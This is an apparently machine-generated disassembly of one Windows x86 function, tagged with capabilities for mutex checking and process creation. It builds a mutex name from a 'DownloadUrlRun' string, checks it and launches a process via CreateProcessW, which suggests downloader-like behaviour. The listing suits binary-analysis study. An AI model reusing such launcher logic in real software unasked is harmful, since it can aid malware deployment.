Function at 0x407056
Capabilities:
Check mutex on windows
Create process on windows

Disassembly:
mov eax, 0x4197ab
call fcn.0040fe54
sub esp, 0x64
mov eax, dword [0x422e4c]
push ebx
push esi
mov esi, 0x422e4c
push edi
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [0x422e4c]
mov ecx, esi
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 1
mov eax, dword [0x422e4c]
mov ecx, esi
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x14], esi
push 0x22
push dword [ebp + 8]
mov byte [ebp - 4], 2
call fcn.0040e2b9
cmp eax, ebx
pop ecx
pop ecx
jne 0x4070bd
lea eax, [esi - 0x10]
jmp 0x4070e3
add eax, 2
push eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
call fcn.00404abd
push 0x5e
xor ecx, ecx
lea esi, [ebp - 0x18]
call fcn.00408601
cmp eax, ebx
jg 0x4070fb
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.0040252e
lea eax, [edi - 0x10]
call fcn.0040252e
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
jmp 0x4072b8
push eax
lea eax, [ebp - 0x18]
call fcn.0040862b
push str.DownloadUrlRun
lea eax, [ebp - 0x10]
push eax
call fcn.00404abd
mov edi, dword [ebp - 0x18]
push dword [edi - 0xc]
lea eax, [ebp - 0x10]
push edi
call fcn.00404a2c
push dword [ebp - 0x10]
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x407145
cmp esi, ebx
je 0x407145
xor esi, esi
inc esi
jmp 0x407147
xor esi, esi
push esi
push dword [ebp - 0x10]
push str.Mutex_s__bExistMutex_d_n
call fcn.00409014
add esp, 0xc
cmp esi, ebx
je 0x407163
call fcn.0040a7c6
jmp 0x40718c
push 0x5e
push dword [ebp - 0x1c]
call fcn.0040e2b9
pop ecx
pop ecx
add eax, 2
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00404abd
push 0x22
xor ecx, ecx
lea esi, [ebp - 0x14]
call fcn.00408601
cmp eax, ebx
jg 0x407197
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
jmp 0x4072a5
push eax
lea eax, [ebp - 0x14]
call fcn.0040862b
mov esi, dword [ebp - 0x14]
push esi
push edi
call fcn.0040b198
pop ecx
pop ecx
mov ecx, dword [0x423ef4]
cmp ecx, ebx
je 0x4072a2
mov eax, dword [0x423ef8]
sub eax, ecx
sar eax, 2
cmp eax, 1
jne 0x4072a2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, 0x423ef0
call fcn.00404115
push 0x44
lea eax, [ebp - 0x70]
push ebx
push eax
call fcn.0040cae0
push 0x10
lea eax, [ebp - 0x2c]
push ebx
push eax
mov dword [ebp - 0x70], 0x44
call fcn.0040cae0
mov eax, dword [0x423ef4]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
add esp, 0x18
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x70]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40727c
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
test eax, eax
mov eax, dword [0x423ef4]
mov eax, dword [eax]
jne 0x40725d
push dword [eax + 0x38]
push str.command_line__r_CreateProcess_failed:_s___n
jmp 0x40729b
push ebx
push dword [ebp - 0x1c]
push dword [eax + 0x38]
push str.command_line__r_CreateProcess_failed:_s___n_tError:__s_n
call fcn.00409014
add esp, 0x10
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4072a2
push dword [ebp - 0x2c]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x28]
call ebx
mov eax, dword [0x423ef4]
mov eax, dword [eax]
push dword [eax + 0x38]
push str.command_line__r_CreateProcess_OK:_s___n
call fcn.00409014
pop ecx
pop ecx
lea eax, [esi - 0x10]
call fcn.0040252e
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.0040252e
lea eax, [edi - 0x10]
call fcn.0040252e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret